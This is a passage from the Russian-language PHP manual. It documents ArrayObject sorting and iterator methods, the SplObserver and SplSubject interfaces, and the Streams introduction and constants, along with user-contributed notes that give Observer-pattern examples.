var_dump($fruitsArrayObject->lemons);
?>

Результат выполнения данного примера:

NULL
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает имя класса итератора для ArrayObject

  • « ArrayObject::setFlags
  • ArrayObject::uasort »
  • PHP Manual
  • ArrayObject
  • Устанавливает имя класса итератора для ArrayObject

ArrayObject::setIteratorClass

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::setIteratorClass — Устанавливает имя класса итератора для ArrayObject

Описание

public ArrayObject::setIteratorClass(string $iteratorClass): void

Устанавливает имя класса итератора массива, которое используется ArrayObject::getIterator().

Список параметров

iteratorClass

Имя класса итератора массива, который будет использоваться при итерации по этому объекту.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ArrayObject::setIteratorClass()

<?php
// Пользовательский ArrayIterator (включает в себя ArrayIterator)
class MyArrayIterator extends ArrayIterator {
// пользовательская реализация
}

// Массив с количеством фруктов
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Устанавливает новое имя класса итератора
$fruitsArrayObject->setIteratorClass('MyArrayIterator');
print_r($fruitsArrayObject->getIterator());

?>

Результат выполнения данного примера:

MyArrayIterator Object
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)

User Contributed Notes

There are no user contributed notes for this page.


Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение

  • « ArrayObject::setIteratorClass
  • ArrayObject::uksort »
  • PHP Manual
  • ArrayObject
  • Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение

ArrayObject::uasort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::uasort — Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение

Описание

public ArrayObject::uasort(callable $callback): true

Эта функция сортирует значения с сохранением ключей, используя пользовательскую функцию сравнения.

Функция используется в основном при сортировке ассоциативных массивов, в которых важен актуальный порядок элементов.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

callback

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования ArrayObject::uasort()

<?php
// Функция сравнения
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

// Массив для сортировки
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
$arrayObject = new ArrayObject($array);
print_r($arrayObject);

// Сортировка и вывод массива
$arrayObject->uasort('cmp');
print_r($arrayObject);
?>

Результат выполнения данного примера:

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

Смотрите также

  • ArrayObject::asort() - Сортировать записи по значению
  • ArrayObject::ksort() - Сортировать записи по ключам
  • ArrayObject::natsort() - Сортировать массив, используя алгоритм "natural order"
  • ArrayObject::natcasesort() - Сортировать массив, используя регистронезависимый алгоритм "natural order"
  • ArrayObject::uksort() - Сортировать массив по ключам, используя пользовательскую функцию для сравнения
  • uasort() - Сортирует массив, используя пользовательскую функцию для сравнения элементов с сохранением ключей

User Contributed Notes

poxetinho at gmail dot com 01-Sep-2011 12:38
Note that return values between (-1, 1) are being considered as 0.


Сортировать массив по ключам, используя пользовательскую функцию для сравнения

  • « ArrayObject::uasort
  • ArrayObject::unserialize »
  • PHP Manual
  • ArrayObject
  • Сортировать массив по ключам, используя пользовательскую функцию для сравнения

ArrayObject::uksort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::uksort — Сортировать массив по ключам, используя пользовательскую функцию для сравнения

Описание

public ArrayObject::uksort(callable $callback): true

Эта функция сортирует ключи записей, используя предоставленную пользователем функцию. Отношения между ключами и элементами сохраняются.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

callback

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования ArrayObject::uksort()

<?php
function cmp($a, $b) {
$a = preg_replace('@^(a|an|the) @', '', $a);
$b = preg_replace('@^(a|an|the) @', '', $b);
return strcasecmp($a, $b);
}

$array = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);
$arrayObject = new ArrayObject($array);
$arrayObject->uksort('cmp');

foreach ($arrayObject as $key => $value) {
echo "$key: $value\n";
}
?>

Результат выполнения данного примера:

an apple: 3
a banana: 4
the Earth: 2
John: 1

Смотрите также

  • ArrayObject::asort() - Сортировать записи по значению
  • ArrayObject::ksort() - Сортировать записи по ключам
  • ArrayObject::natsort() - Сортировать массив, используя алгоритм "natural order"
  • ArrayObject::natcasesort() - Сортировать массив, используя регистронезависимый алгоритм "natural order"
  • ArrayObject::uasort() - Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение
  • uksort() - Сортирует массив по ключам, используя пользовательскую функцию для сравнения ключей

User Contributed Notes

There are no user contributed notes for this page.


Десериализовать ArrayObject

  • « ArrayObject::uksort
  • SplObserver »
  • PHP Manual
  • ArrayObject
  • Десериализовать ArrayObject

ArrayObject::unserialize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ArrayObject::unserialize — Десериализовать ArrayObject

Описание

public ArrayObject::unserialize(string $data): void

Десериализует сериализованный объект ArrayObject.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Сериализованный объект ArrayObject.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • ArrayIterator::serialize() - Сериализует массив
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс SplObserver

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Интерфейс SplObserver используется совместно с SplSubject для реализации шаблона проектирования Наблюдатель (Observer).

Обзор интерфейсов

interface SplObserver {
/* Методы */
public update(SplSubject $subject): void
}

Содержание

  • SplObserver::update — Получить обновление от субъекта

User Contributed Notes

sebastien dot ferrandez at free dot fr 12-Mar-2014 09:36
Beware, you have written :

        if($key){
            unset($this->observers[$key]);
        }

When this should be :

        if(false !== $key){
            unset($this->observers[$key]);
        }

If the observer you want to delete is the first in your array, you will never delete it because the key would equal 0 and 0 == false as you know.
aiddroid at example dot com 02-Jul-2013 07:41
<?php

/**
 * Subject,that who makes news
 */
class Newspaper implements \SplSubject{
    private $name;
    private $observers = array();
    private $content;

    public function __construct($name) {
        $this->name = $name;
    }

    //add observer
    public function attach(\SplObserver $observer) {
        $this->observers[] = $observer;
    }

    //remove observer
    public function detach(\SplObserver $observer) {

        $key = array_search($observer,$this->observers, true);
        if($key){
            unset($this->observers[$key]);
        }
    }

    //set breakouts news
    public function breakOutNews($content) {
        $this->content = $content;
        $this->notify();
    }

    public function getContent() {
        return $this->content." ({$this->name})";
    }

    //notify observers(or some of them)
    public function notify() {
        foreach ($this->observers as $value) {
            $value->update($this);
        }
    }
}

/**
 * Observer,that who recieves news
 */
class Reader implements SplObserver{
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function update(\SplSubject $subject) {
        echo $this->name.' is reading breakout news <b>'.$subject->getContent().'</b><br>';
    }
}

$newspaper = new Newspaper('Newyork Times');

$allen = new Reader('Allen');
$jim = new Reader('Jim');
$linda = new Reader('Linda');

//add reader
$newspaper->attach($allen);
$newspaper->attach($jim);
$newspaper->attach($linda);

//remove reader
$newspaper->detach($linda);

//set break outs
$newspaper->breakOutNews('USA break down!');

//=====output======
//Allen is reading breakout news USA break down! (Newyork Times)
//Jim is reading breakout news USA break down! (Newyork Times)


Получить обновление от субъекта

  • « SplObserver
  • SplSubject »
  • PHP Manual
  • SplObserver
  • Получить обновление от субъекта

SplObserver::update

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObserver::update — Получить обновление от субъекта

Описание

public SplObserver::update(SplSubject $subject): void

Этот метод вызывается, когда любой SplSubject, к которому присоединён наблюдатель, вызывает SplSubject::notify().

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

subject

SplSubject, уведомляющий наблюдателя об обновлении.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс SplSubject

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Интерфейс SplSubject используется совместно с SplObserver для реализации шаблона проектирования Наблюдатель (Observer).

Обзор интерфейсов

interface SplSubject {
/* Методы */
public attach(SplObserver $observer): void
public detach(SplObserver $observer): void
public notify(): void
}

Содержание

  • SplSubject::attach — Присоединить наблюдателя (объект класса SplObserver)
  • SplSubject::detach — Отсоединить наблюдателя
  • SplSubject::notify — Уведомить наблюдателя

User Contributed Notes

xedin dot unknown at gmail dot com 01-Apr-2019 06:57
For a few years, I've made a few attempts to understand the architecture behind the Subject/Observer pair. Recently I tried again. I just could not imagine why someone would design this in the way it is documented.  I mean, "what were they thinking?!", I thought. The if things outside of the Subject could tell it when to notify observers, that would completely break encapsulation. Because only the subject can know when events occur inside of it. And therefore, exposing `notify()` would be a huge violation to many principles of good OOP design.

However, I have come up with one scenario where this would be valid. That is, if the Subject represents a Hook, like in WordPress. For example, in an event system where events are invoked with a name or code, a Hook could represent a named event in the system, and by calling `notify()` from outside the dispatcher could notify observers. If this is the intended scenario, then the problems are mostly with naming: the name "Subject" implies that it is what is being observed, and the Observer pattern is different.
aiddroid at example dot com 02-Jul-2013 07:01
/**
 * Subject,that who makes news
 */
class Newspaper implements \SplSubject{
    private $name;
    private $observers = array();
    private $content;

    public function __construct($name) {
        $this->name = $name;
    }

    //add observer
    public function attach(\SplObserver $observer) {
        $this->observers[] = $observer;
    }

    //remove observer
    public function detach(\SplObserver $observer) {

        $key = array_search($observer,$this->observers, true);
        if($key){
            unset($this->observers[$key]);
        }
    }

    //set breakouts news
    public function breakOutNews($content) {
        $this->content = $content;
        $this->notify();
    }

    public function getContent() {
        return $this->content." (by {$this->name})";
    }

    //notify observers(or some of them)
    public function notify() {
        foreach ($this->observers as $value) {
            $value->update($this);
        }
    }
}

/**
 * Observer,that who recieves news
 */
class Reader implements SplObserver{
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function update(\SplSubject $subject) {
        echo $this->name.' is reading breakout news <b>'.$subject->getContent().'</b><br>';
    }
}

//classes test
$newspaper = new Newspaper('Newyork Times');

$allen = new Reader('Allen');
$jim = new Reader('Jim');
$linda = new Reader('Linda');

//add reader
$newspaper->attach($allen);
$newspaper->attach($jim);
$newspaper->attach($linda);

//remove reader
$newspaper->detach($linda);

//set break outs
$newspaper->breakOutNews('USA break down!');

//=========output==========
//Allen is reading breakout news USA break down! (by Newyork Times)
//Jim is reading breakout news USA break down! (by Newyork Times)
Anonymous 07-May-2013 10:37
<?php
class Observable implements SplSubject
{
    private $storage;

    function __construct()
    {
        $this->storage = new SplObjectStorage();
    }

    function attach(SplObserver $observer)
    {
        $this->storage->attach($observer);
    }

    function detach(SplObserver $observer)
    {
        $this->storage->detach($observer);
    }

    function notify()
    {
        foreach ($this->storage as $obj) {
            $obj->update($this);
        }
    }
    //...
}

abstract class Observer implements SplObserver
{
    private $observable;

    function __construct(Observable $observable)
    {
        $this->observable = $observable;
        $observable->attach($this);
    }

    function update(SplSubject $subject)
    {
        if ($subject === $this->observable) {
            $this->doUpdate($subject);
        }
    }

    abstract function doUpdate(Observable $observable);
}

class ConcreteObserver extends Observer
{
    function doUpdate(Observable $observable)
    {
        //...
    }
}

$observable = new Observable();
new ConcreteObserver($observable);
przemyslaw dot szpiler at gmail dot com 26-Feb-2012 09:54
<?php

// Example implementation of Observer design pattern:

class MyObserver1 implements SplObserver {
    public function update(SplSubject $subject) {
        echo __CLASS__ . ' - ' . $subject->getName();
    }
}

class MyObserver2 implements SplObserver {
    public function update(SplSubject $subject) {
        echo __CLASS__ . ' - ' . $subject->getName();
    }
}

class MySubject implements SplSubject {
    private $_observers;
    private $_name;

    public function __construct($name) {
        $this->_observers = new SplObjectStorage();
        $this->_name = $name;
    }

    public function attach(SplObserver $observer) {
        $this->_observers->attach($observer);
    }

    public function detach(SplObserver $observer) {
        $this->_observers->detach($observer);
    }

    public function notify() {
        foreach ($this->_observers as $observer) {
            $observer->update($this);
        }
    }

    public function getName() {
        return $this->_name;
    }
}

$observer1 = new MyObserver1();
$observer2 = new MyObserver2();

$subject = new MySubject("test");

$subject->attach($observer1);
$subject->attach($observer2);
$subject->notify();

/*
will output:

MyObserver1 - test
MyObserver2 - test
*/

$subject->detach($observer2);
$subject->notify();

/*
will output:

MyObserver1 - test
*/

?>


Присоединить наблюдателя (объект класса SplObserver)

  • « SplSubject
  • SplSubject::detach »
  • PHP Manual
  • SplSubject
  • Присоединить наблюдателя (объект класса SplObserver)

SplSubject::attach

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplSubject::attach — Присоединить наблюдателя (объект класса SplObserver)

Описание

public SplSubject::attach(SplObserver $observer): void

Присоединяет SplObserver, чтобы он мог получать уведомления об обновлениях.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

observer

Объект класса SplObserver для присоединения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

workspace dot development at yahoo dot com 02-Dec-2011 08:46
i think that Observer pattern is always implemented as "static" to be called from any scope, for example:
<?php
class Observer {
     //attach here the caller's scope
     private static $stackTrace = array( );
     public static function wasTriggeredOnce() {
          //...if is not in the stack, then:
          self::$stackTrace[] = max( debug_backtrace( ) );
     }
}

class YourFramework {

     public function launchPlatform() {

          //could not let user to launch application twice!
          Observer::wasTriggeredOnce();
     }
}
//cause is static
Observer::hereIsnoNeedToInstantiateAgain();
?>
goran 17-Oct-2011 12:54
The most obvious storage type for observers (stored in attach()) is array. In order to be able to detach attached objects, you should be able to identify it inside observer storage.

I suggest you attach observers this way:

$this->_observers[spl_object_hash($observer)] = $observer;

so you can detach it later if you need:

unset($this->_observers[spl_object_hash($observer)]);


Отсоединить наблюдателя

  • « SplSubject::attach
  • SplSubject::notify »
  • PHP Manual
  • SplSubject
  • Отсоединить наблюдателя

SplSubject::detach

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplSubject::detach — Отсоединить наблюдателя

Описание

public SplSubject::detach(SplObserver $observer): void

Отсоединяет наблюдателя от субъекта, чтобы больше не уведомлять его об обновлениях.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

observer

Объект класса SplObserver для отсоединения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Уведомить наблюдателя

  • « SplSubject::detach
  • Потоки »
  • PHP Manual
  • SplSubject
  • Уведомить наблюдателя

SplSubject::notify

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplSubject::notify — Уведомить наблюдателя

Описание

public SplSubject::notify(): void

Посылает уведомление всем присоединённым наблюдателям.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Потоки

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Классы для работы с потоками
  • Предопределённые константы
  • Потоковые фильтры
  • Контексты потоков
  • Ошибки потока
  • Примеры
    • Пример класса, зарегистрированного в качестве обёртки потока
  • php_user_filter — Класс php_user_filter
    • php_user_filter::filter — Вызывается, как только применяется фильтр
    • php_user_filter::onClose — Вызывается при закрытии фильтра
    • php_user_filter::onCreate — Вызывается при создании объекта фильтра
  • streamWrapper — Класс streamWrapper
    • streamWrapper::__construct — Создаёт новый объект обёртки потока
    • streamWrapper::__destruct — Уничтожает существующую обёртку потока
    • streamWrapper::dir_closedir — Закрыть дескриптор директории
    • streamWrapper::dir_opendir — Открыть дескриптор директории
    • streamWrapper::dir_readdir — Чтение записи из дескриптора директории
    • streamWrapper::dir_rewinddir — Дескриптор директории перемещения на её в начало
    • streamWrapper::mkdir — Создание директории
    • streamWrapper::rename — Переименовывает файл или директорию
    • streamWrapper::rmdir — Удаляет директорию
    • streamWrapper::stream_cast — Получает ресурс уровнем ниже
    • streamWrapper::stream_close — Закрывает ресурс
    • streamWrapper::stream_eof — Проверяет достижение конца файла по файловому указателю
    • streamWrapper::stream_flush — Сбрасывает вывод
    • streamWrapper::stream_lock — Консультативная блокировка файла
    • streamWrapper::stream_metadata — Изменяет метаданные потока
    • streamWrapper::stream_open — Открывает файл или URL
    • streamWrapper::stream_read — Читает из потока
    • streamWrapper::stream_seek — Перемещение на заданную позицию в потоке
    • streamWrapper::stream_set_option — Изменение настроек потока
    • streamWrapper::stream_stat — Получение информации о файловом ресурсе
    • streamWrapper::stream_tell — Определение текущей позиции потока
    • streamWrapper::stream_truncate — Усечение потока
    • streamWrapper::stream_write — Запись в поток
    • streamWrapper::unlink — Удаление файла
    • streamWrapper::url_stat — Получение информации о файле
  • Функции для работы с потоками
    • stream_bucket_append — Добавить ведро (bucket) в бригаду (brigade)
    • stream_bucket_make_writeable — Возвращает объект корзины из бригады для дальнейшей работы с ним
    • stream_bucket_new — Создать новое ведро для использования в текущем потоке
    • stream_bucket_prepend — Добавить ведро в начало бригады
    • stream_context_create — Создаёт контекст потока
    • stream_context_get_default — Получает контекст потока по умолчанию
    • stream_context_get_options — Получает опции для потока/обёртки/контекста
    • stream_context_get_params — Получает параметры из контекста
    • stream_context_set_default — Установить контекст потока по умолчанию
    • stream_context_set_option — Устанавливает опцию для потока/обёртки/контекста
    • stream_context_set_options — Sets options on the specified context
    • stream_context_set_params — Устанавливает параметры для потока/обёртки/контекста
    • stream_copy_to_stream — Копирует данные из одного потока в другой
    • stream_filter_append — Прикрепить фильтр к потоку
    • stream_filter_prepend — Прикрепляет фильтр к потоку
    • stream_filter_register — Регистрирует потоковый фильтр, определённый пользователем
    • stream_filter_remove — Удалить фильтр из потока
    • stream_get_contents — Читает оставшуюся часть потока в строку
    • stream_get_filters — Получить список зарегистрированных фильтров
    • stream_get_line — Получает строку из потокового ресурса до указанного разделителя
    • stream_get_meta_data — Извлекает заголовок/метаданные из потоков/файловых указателей
    • stream_get_transports — Получить список зарегистрированных транспортов сокета
    • stream_get_wrappers — Получить список зарегистрированных потоков
    • stream_is_local — Проверяет, является ли поток локальным потоком
    • stream_isatty — Проверяет, является ли поток TTY
    • stream_notification_callback — Callback-функция для параметра контекста notification
    • stream_register_wrapper — Псевдоним stream_wrapper_register
    • stream_resolve_include_path — Преобразовать полное имя файла, используя пути включения
    • stream_select — Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds
    • stream_set_blocking — Установить блокирующий/неблокирующий режим в потоке
    • stream_set_chunk_size — Установить размер фрагмента данных потока
    • stream_set_read_buffer — Установить буферизацию чтения файла на указанном потоке
    • stream_set_timeout — Установить значение времени ожидания для потока
    • stream_set_write_buffer — Устанавливает буферизацию файла при записи в указанный поток
    • stream_socket_accept — Принимать соединение в сокете, созданном c помощью функции stream_socket_server
    • stream_socket_client — Открыть соединение с интернет-сокетом или с доменным сокетом Unix
    • stream_socket_enable_crypto — Включает или отключает шифрование на уже подключённом сокете
    • stream_socket_get_name — Получить название локального или удалённого сокета
    • stream_socket_pair — Создаёт пару подключённых, неразличимых потоков сокетов
    • stream_socket_recvfrom — Получает данные из сокета, подключённого или нет
    • stream_socket_sendto — Отправляет сообщение в сокет, независимо от того, подсоединён он или нет
    • stream_socket_server — Создаёт интернет-сокет или доменный сокет Unix
    • stream_socket_shutdown — Закрыть полнодуплексное соединение
    • stream_supports_lock — Определяет, поддерживает ли поток блокировку
    • stream_wrapper_register — Регистрирует обёртку URL, реализованную в виде PHP-класса
    • stream_wrapper_restore — Восстанавливает отменённую ранее встроенную обёртку
    • stream_wrapper_unregister — Отменяет регистрацию обёртки URL

User Contributed Notes

There are no user contributed notes for this page.


Введение

Потоки были введены как инструмент для работы с файлами, сетевого обмена, сжатия данных и выполнения других операций с помощью одного общего набора функций. Выражаясь простыми понятиями, поток (stream) - это ресурс (resource), который ведёт себя как источник непрерывной последовательности данных. Это означает, что из потока можно последовательно читать данные, равно как и записывать в него. Также возможно перемещаться (fseek()) в разные позиции внутри потока.

Обёртка (wrapper) - дополнительный код, который объясняет потоку особенности работы со специфичными протоколами или кодировками. Например, обёртка http знает, как преобразовать URL в HTTP/1.0-запрос для файла на удалённом сервере. Существует множество обёрток, как встроенных в PHP изначально (смотрите Поддерживаемые протоколы и обёртки), так и дополнительных. Дополнительные обёртки можно добавлять отдельным скриптом с помощью функции stream_wrapper_register(). Добавлять можно произвольное количество обёрток, что делает возможности работы с потоками практически безграничными. Посмотреть список зарегистрированных на данный момент обёрток можно с помощью функции stream_get_wrappers().

Ссылка на поток записывается в следующем виде: scheme://target

  • scheme (строка) - Название обёртки. Например, file, http, https, ftp, ftps, compress.zlib, compress.bz2, php. Список встроенных обёрток можно посмотреть здесь Поддерживаемые протоколы и обёртки. Если название обёртки не указано, каждая функция, работающая с потоком, использует обёртку по умолчанию (обычно это file://).
  • target - Зависит от того, какая обёртка используется. Для потоков, связанных с файловой системой это обычно путь и имя файла. Для сетевых потоков это, как правило, имя хоста (зачастую с добавлением к нему пути). Описания целей для встроенных обёрток приведены в Поддерживаемые протоколы и обёртки.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Классы для работы с потоками

User Contributed Notes

There are no user contributed notes for this page.


Классы для работы с потоками

Пользовательские обёртки можно разрабатывать, используя определения классов показанные на этой странице руководства, а затем регистрировать функцией stream_wrapper_register().

Класс php_user_filter предопределён и является абстрактным базовым классом для создания пользовательских фильтров. Дополнительную информацию, касающуюся их реализации, можно почерпнуть из руководства к функции stream_filter_register().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Константа | Описание
STREAM_FILTER_READ | Используется в функциях stream_filter_append() и stream_filter_prepend(). Указывает на то, что заданный фильтр может использоваться только в операциях чтения (reading)
STREAM_FILTER_WRITE | Используется в функциях stream_filter_append() и stream_filter_prepend(). Указывает на то, что заданный фильтр может использоваться только в операциях записи (writing)
STREAM_FILTER_ALL | Эквивалентно записи STREAM_FILTER_READ | STREAM_FILTER_WRITE
PSFS_PASS_ON | Return Code указывает, что пользовательский фильтр вернул бакеты (buckets) в $out.
PSFS_FEED_ME | Return Code указывает, что пользовательский фильтр не вернул бакеты (buckets) в $out. (т.е. нет доступных данных).
PSFS_ERR_FATAL | Return Code указывает, что пользовательский фильтр вызвал необрабатываемую ошибку (т.е. получены неверные данные).
PSFS_FLAG_NORMAL | Нормальное чтение/запись.
PSFS_FLAG_FLUSH_INC | Добавочное архивирование.
PSFS_FLAG_FLUSH_CLOSE | Сохранение на диск перед закрытием.
STREAM_USE_PATH | Флаг (Flag), указывающий, что stream использует подключаемый путь (include path).
STREAM_REPORT_ERRORS | Флаг (Flag) указывающий, что wrapper может выбрасывать исключения в процессе открытия потока функцией trigger_error() Если этот флаг не установлен, вызывать ошибки не стоит.
STREAM_CLIENT_ASYNC_CONNECT | Асинхронное открытие соединения с клиентским сокетом. Эта настройка должна использоваться совместно с флагом STREAM_CLIENT_CONNECT. Используется в функции stream_socket_client().
STREAM_CLIENT_CONNECT | Открытие соединения с клиентским сокетом. Клиентские сокеты всегда должны включать этот флаг. Используется функцией stream_socket_client().
STREAM_CLIENT_PERSISTENT | Клиентский сокет, открытый функцией stream_socket_client() будет оставаться открытым между загрузками страниц.
STREAM_SERVER_BIND | Сообщает потоку, созданному функцией stream_socket_server(), связаться с заданной целью. Серверные сокеты всегда должны включать этот флаг.
STREAM_SERVER_LISTEN | Указывает потоку, созданному функцией stream_socket_server() и связанному флагом STREAM_SERVER_BIND, начать слушать сокет. Передачи данных, устанавливающие соединение (как TCP), должны использовать этот флаг, иначе сокет не включится. Использование этого флага при передаче без установления соединения (как UDP) вызовет ошибку.
STREAM_NOTIFY_RESOLVE | Требуемый для потока адрес удалённого ресурса определён, либо это определение завершилось неудачей. Чтобы узнать, что именно произошло, смотрите severity.
STREAM_NOTIFY_CONNECT | Соединение с внешним ресурсом установлено.
STREAM_NOTIFY_AUTH_REQUIRED | Для доступа к заданному ресурсу необходима дополнительная авторизация. Обычно выдаётся в ошибке уровня severity STREAM_NOTIFY_SEVERITY_ERR.
STREAM_NOTIFY_MIME_TYPE_IS | mime-type ресурса идентифицирован. Описание найденного типа можно посмотреть в параметре message.
STREAM_NOTIFY_FILE_SIZE_IS | Размер (size) ресурса определён.
STREAM_NOTIFY_REDIRECTED | Внешний ресурс перенаправил поток в другое место. Дополнительно смотри message.
STREAM_NOTIFY_PROGRESS | Индикатор текущего процесса передачи данных через поток. Можно узнать, сколько передано (bytes_transferred), и сколько всего байт (bytes_max).
STREAM_NOTIFY_COMPLETED | В потоке больше нет доступных данных.
STREAM_NOTIFY_FAILURE | Общая ошибка при работе с потоком. Детали смотрите в message и message_code.
STREAM_NOTIFY_AUTH_RESULT | Авторизация завершена (независимо от успеха авторизации).
STREAM_NOTIFY_SEVERITY_INFO | Обычное уведомление, не относящееся к ошибкам.
STREAM_NOTIFY_SEVERITY_WARN | Некритичная ошибка. Возможно продолжить работу.
STREAM_NOTIFY_SEVERITY_ERR | Критичная ошибка. Продолжение работы невозможно.
STREAM_IPPROTO_ICMP + | Предоставляет ICMP-сокет.
STREAM_IPPROTO_IP + | Предоставляет IP-сокет.
STREAM_IPPROTO_RAW + | Предоставляет RAW сокет.
STREAM_IPPROTO_TCP + | Предоставляет TCP-сокет.
STREAM_IPPROTO_UDP + | Предоставляет UDP-сокет.
STREAM_PF_INET + | Интернет протокол 4 версии (IPv4).
STREAM_PF_INET6 + | Интернет протокол 6 версии (IPv6).
STREAM_PF_UNIX + | Внутренние протоколы Unix.
STREAM_SOCK_DGRAM + | Предоставляет датаграммы - сообщения без установления соединения (UDP, например).
STREAM_SOCK_RAW + | Предоставляет необработанный (raw) сокет, который даёт доступ к внутренним сетевым протоколам и интерфейсам. Обычно сокеты этого типа доступны только root-пользователям.
STREAM_SOCK_RDM + | Предоставляет сокет RDM (Reliably-delivered messages).
STREAM_SOCK_SEQPACKET + | Предоставляет сокет последовательного потока пакетов.
STREAM_SOCK_STREAM + | Предоставляет последовательные двунаправленные байтовые потоки с механизмом передачи связанных данных (TCP, например).
STREAM_SHUT_RD | Используется функцией stream_socket_shutdown() для отключения дальнейшего приёма данных.
STREAM_SHUT_WR | Используется функцией stream_socket_shutdown() для отключения дальнейшей передачи данных.
STREAM_SHUT_RDWR | Используется функцией stream_socket_shutdown() для отключения дальнейших приёма и передачи данных.
STREAM_CAST_FOR_SELECT | Распределение потоков, используется, когда функция stream_select() вызывает stream_cast().
STREAM_CAST_AS_STREAM | Распределение потоков, используется, когда функция stream_cast() вызывается из другого места (смотрите выше).
STREAM_META_TOUCH | Используется в функции stream_metadata() для задания вызова touch().
STREAM_META_OWNER | Используется в функции stream_metadata() для задания вызова chown().
STREAM_META_OWNER_NAME | Используется в функции stream_metadata() для задания вызова chown().
STREAM_META_GROUP | Используется в функции stream_metadata() для задания вызова chgrp().
STREAM_META_GROUP_NAME | Используется в функции stream_metadata() для задания вызова chgrp().
STREAM_META_ACCESS | Используется в функции stream_metadata() для задания вызова chmod().
STREAM_BUFFER_NONE | Без буферизации.
STREAM_BUFFER_LINE | Буферизация строки.
STREAM_BUFFER_FULL | Полная буферизация.

Замечание: Константы, отмеченные +, предназначены для использования в функции stream_socket_pair(). Учитывайте, что некоторые из констант могут быть недоступны в вашей системе.

Замечание: Константы STREAM_META_* предназначены для использования в функции stream_metadata().

User Contributed Notes

Sbastien 27-May-2022 10:02
All STREAM_ AND PSFS_ constants values :

PSFS_ERR_FATAL => 0
PSFS_FEED_ME => 1
PSFS_FLAG_FLUSH_CLOSE => 2
PSFS_FLAG_FLUSH_INC => 1
PSFS_FLAG_NORMAL => 0
PSFS_PASS_ON => 2
STREAM_BUFFER_FULL => 2
STREAM_BUFFER_LINE => 1
STREAM_BUFFER_NONE => 0
STREAM_CAST_AS_STREAM => 0
